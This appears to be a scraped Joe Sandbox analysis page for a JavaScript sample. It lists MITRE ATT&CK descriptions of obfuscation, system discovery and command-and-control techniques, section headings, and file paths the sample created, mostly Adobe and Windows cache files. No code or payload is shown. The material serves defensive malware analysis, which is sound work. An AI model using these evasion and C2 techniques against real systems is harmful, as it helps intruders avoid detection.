Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 166452923276113028.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\818c6bd5-0167-47ea-beb7-35c19b53beb1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1772

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
166452923276113028.js